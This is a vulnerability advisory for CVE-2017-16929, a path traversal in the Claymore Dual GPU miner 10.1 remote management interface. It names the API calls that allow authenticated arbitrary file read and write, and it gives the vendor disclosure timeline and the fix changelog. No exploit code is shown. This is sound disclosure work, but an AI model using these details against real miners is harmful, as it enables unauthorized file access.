Version: 10.1 [2]
Latest Version: 10.1 [2]
Other Versions: <= 10.1
Platform(s): windows, linux
Technology: C/C++
Vuln Classes: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Origin: remote
Min. Privs.: authenticated
Source: Closed; runtime protection mechanisms
CVE: CVE-2017-16929
Description
A specialized mining solution with remote management interface for mining ethereum / decred / siacoin / LBRY Credits / pascal coin.
quote website [1][2]
- Supports new "dual mining" mode: mining both Ethereum and Decred/Siacoin/Lbry/Pascal at the same time, with no impact on Ethereum mining speed. Ethereum-only mining mode is supported as well.
- Effective Ethereum mining speed is higher by 3-5% because of a completely different miner code - much less invalid and outdated shares, higher GPU load, optimized OpenCL code, optimized assembler kernels.
- Supports both AMD and nVidia cards, even mixed.
- No DAG files.
- Supports all Stratum versions for Ethereum: can be used directly without any proxies with all pools that support eth-proxy, qtminer or miner-proxy.
- Supports Ethereum and Siacoin solo mining.
- Supports both HTTP and Stratum for Decred.
- Supports both HTTP and Stratum for Siacoin. Note: not all Stratum versions are supported currently for Siacoin.
- Supports Stratum for Lbry and Pascal.
- Supports failover.
- Displays detailed mining information and hashrate for every card.
- Supports remote monitoring and management.
- Supports GPU selection, built-in GPU overclocking features and temperature management.
- Supports Ethereum forks (Expanse, etc).
- Windows and Linux versions.
Summary
"FOMO driven security blindness."
The remote management interface on the Claymore Dual GPU miner 10.1 is vulnerable to an authenticated relative directory traversal vulnerability exploited by issuing a specially crafted remote management request, allowing a remote attacker to read/write arbitrary files due to missing path validation/sanitation.
API calls
miner_getfile (read) ... read any file
miner_file (write) ... write any file
conditions:
authenticated
write: not in readonly mode
Successful exploitation would allow an authenticated user to read/write arbitrary files (process permissions)
See attached PoC.

Notes
Timeline
11/22/2017 - vendor contact: report sent
11/23/2017 - vendor response:
fixed version 10.2 ready and publicly available
request for 7+ day embargo
vendor statement:
The root case is that remote management was designed to be used in local network only.
But some "smart" people want to share ports to everyone and then catch problems. I will close
the issues you found, but attacker will be able to do something bad anyway, at least execute ddos
to prevent remote management work as expected.
12/04/2017 - public disclosure
Vendor Changelog
Latest version is v10.2:
- fixed critical issues in remote management feature (attacker could crash miner even in read-only mode).
- now miner supports up to #299 epoch.
- in rare cases ADL API calls can hang, now watchdog checks it as well.
- improved "-minspeed" option, check readme for details.
- added "miner_getstat2" command to remote management, check "API.txt" for details.
- EthMan: added detailed stats mode in main window.
- a few minor improvements in both miner and EthMan.
